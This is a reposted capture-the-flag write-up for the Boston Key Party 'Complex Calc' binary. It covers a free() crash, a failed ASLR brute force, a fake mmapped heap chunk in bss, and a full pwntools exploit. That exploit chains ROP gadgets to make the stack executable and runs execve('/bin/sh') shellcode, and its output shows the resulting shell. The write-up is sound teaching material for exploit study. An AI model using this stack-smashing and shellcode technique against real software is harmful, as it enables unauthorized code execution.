Complex Calc Writeup

转载

子曰小玖 于 2019-05-23 10:00:20 发布 220 收藏
分类专栏： 漏洞


漏洞 专栏收录该内容
32 篇文章 2 订阅
订阅专栏

https://sploitfun.wordpress.com/2016/03/07/bkp-ctf-complex-calc-writeup/

This ELF binary is almost same as simple calc elf with some minor change!! To figure out what that change is, I first ran simple calc's exp.py against complex calc's binary and found that complex calc's binary crashed. Lets analyze the core file!!

```
$ gdb -q ./d60001db1a24eca410c5d102410c3311d34d832c
Reading symbols from ./d60001db1a24eca410c5d102410c3311d34d832c...(no debugging symbols found)...done.
gdb-peda$ core-file core
warning: core file may not match specified executable file.
[New LWP 22625]
Core was generated by `./d60001db1a24eca410c5d102410c3311d34d832c'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00000000004156e9 in free ()
gdb-peda$ disassemble free
Dump of assembler code for function free:
...
=> 0x00000000004156e9 <+25>: mov rax,QWORD PTR [rdi-0x8]
```

Program crashed inside free(), register rdi which contains the free address is subtracted by 8 and since our argument to free is NULL, it segfaults!! So the trick free(NULL) used in simple calc doesnt work here!! Thus forcing us to use a valid chunk address!! But when ASLR is turned on, providing a valid chunk address on first attempt is near impossible. Hence lets see if we can bypass heap randomization using brute force technique.

ASLR Bypass:

On 64 bit systems, ONLY 16 bits of heap address is randomized as shown below:

```
$cat /proc/self/maps
...
01b5f000-01b80000 rw-p 00000000 00:00 0 [heap]
…
$cat /proc/self/maps
...
01e69000-01e8a000 rw-p 00000000 00:00 0 [heap]
…
$cat /proc/self/maps
...
0127a000-0129b000 rw-p 00000000 00:00 0 [heap]
…
$
```

Despite running this exploit code for quite some time, I failed to bypass ASLR.

Fake Chunk Creation:

So now I looked into the glibc malloc code to figure out if I can get around the free crash without passing a valid heap address. As we all know one of the glitch of glibc malloc code is it doesnt really check if the argument passed to it is really heap address or NOT. So if we can create a fake chunk in data or bss region and pass the fake chunk address as free argument there is a high chance we might get around free crash!! Lets try it!!

On reversing the binary we find that we control below 16 bytes of bss region.

```
gdb-peda$ x/16xw 0x6c4a80
0x6c4a80 <add>: 0x00000000 0x00000000 0x00000000 0x00000000
0x6c4a90 <divv>: 0x00000000 0x00000000 0x00000000 0x00000000
0x6c4aa0 <mul>: 0x00000000 0x00000000 0x00000000 0x00000000
0x6c4ab0 <sub>: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$
```

We control first 3 words of every line. For instance “Integer x:” of add gets stored in 0x6c4a80, “Integer y:” of add gets stored in 0x6c4a84 and adds resultant value is stored in 0x6c4a88. Similarly “Integer x:” of div gets stored in 0x6c4a90, “Integer y:” of div gets stored in 0x6c4a94 and divs resultant value is stored in 0x6c4a98. Neways we need control over the first 3 words only, out of the 16 word memory region to successfully avoid free crash, lets see how its achieved!!

On looking at glibc malloc source code, it is observed that instead of releasing the fake chunk to bins, unmapping it would avoid free crash, provided we set the prev_size and size field values appropriately as said below:

1. Size field’s IS_MMAPPED bit should be set.
2. p – p->prev_size should be page aligned
3. p->prev_size + size should be page aligned

Thus when p =0x6c4a80, prev_size = 0xb0200000a80 and size = 0x1582 we can avoid the free crash!! Bingo!! Now just execute the below exploit code to obtain the shell:

Exploit:

```
$ cat exp.py
#Complex Calc Exploit Code
from pwn import *
import math

def conv_scode():
 #execve(/bin/sh)
 scode =
"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb
0\x3b\x0f\x05"
 pad = (int(math.ceil(len(scode)/4.0))*4) - len(scode)
 for i in range(0,pad):
  scode += '\x00'
 n = len(scode)/4
 return struct.unpack('<' + 'I'*n,scode)

def gen_zero(r):
 r.send('2\n')
 r.send('100\n')
 r.send('100\n')
```

```
def main():

 #Gadgets used to set __stack_prot = 0x7
 g1 = 0x0044526f #mov dword [rax], edx ; ret;
 g1_1 = 0x0044db34 #pop rax ; ret; where rax = stack_prot
 g1_2 = 0x00437a85 #pop rdx ; ret; where rdx = 0x7
 stack_prot = 0x006C0FE0

 #Gadgets used to invoke _dl_make_stack_executable
 g2 = 0x004717e0 #_dl_make_stack_executable
 g2_1 = 0x00401b73 #pop rdi ; ret; where rdi = libc_stack_end
 libc_stack_end = 0x006C0F88

 #Gadget used to jump to shellcode
 g3 = 0x004b2a1b #jmp rsp;

 shell_code = conv_scode()
 free_addr = 0x6c4a90

 #r = remote('simplecalc.bostonkey.party',5500
 r = remote('127.0.0.1',1234)

 print r.recv()
 r.send('255\n')
 print r.recv()
 for i in range(0,18):
  if i!=12:
   gen_zero(r)
  else:
   r.send('2\n')
   free_addr += 100
   r.send(str(free_addr) + '\n')
   r.send('100\n')

 #Overwrite RA with ROP gadgets to invoke _dl_make_stack_executable and then jump to shellcode
 #G1_1
 r.send('2\n')
 g1_1 += 100
 r.send(str(g1_1) + '\n')
 r.send('100\n')
 gen_zero(r)

 #stack_prot
 r.send('2\n')
 stack_prot += 100
 r.send(str(stack_prot) + '\n')
 r.send('100\n')
 gen_zero(r)

 #G1_2
 r.send('2\n')
 g1_2 += 100
 r.send(str(g1_2) + '\n')
 r.send('100\n')
 gen_zero(r)

 #stack_prot_val
 r.send('2\n')
 r.send('100\n')
```

```
r.send('93\n')
gen_zero(r)

#G1
r.send('2\n')
g1 += 100
r.send(str(g1) + '\n')
r.send('100\n')
gen_zero(r)

#G2_1
r.send('2\n')
g2_1 += 100
r.send(str(g2_1) + '\n')
r.send('100\n')
gen_zero(r)

#libc_stack_end
r.send('2\n')
libc_stack_end += 100
r.send(str(libc_stack_end) + '\n')
r.send('100\n')
gen_zero(r)

#G2
r.send('2\n')
g2 += 100
r.send(str(g2) + '\n')
r.send('100\n')
gen_zero(r)

#G3
r.send('2\n')
g3 += 100
r.send(str(g3) + '\n')
r.send('100\n')
gen_zero(r)

#Shellcode
for scode in shell_code:
r.send('2\n')
scode += 100
r.send(str(scode) + '\n')
r.send('100\n')

#Fake Chunk
r.send('1\n')
r.send('2688\n')
r.send('2818\n')

#Trigger memcpy overflow
#import pdb;pdb.set_trace();
r.send('5\n')

r.interactive()

if __name__ == "__main__":
 main()
$ python exp.py
```

```
...
[5] Save and Exit.
=> $ whoami
sploitfun64
$ uname -r
3.16.0-30-generic
$ exit
```

Unfortunately I couldnt solve this challenge in the given time frame, neways its a fun ride!! Thanks BKP!!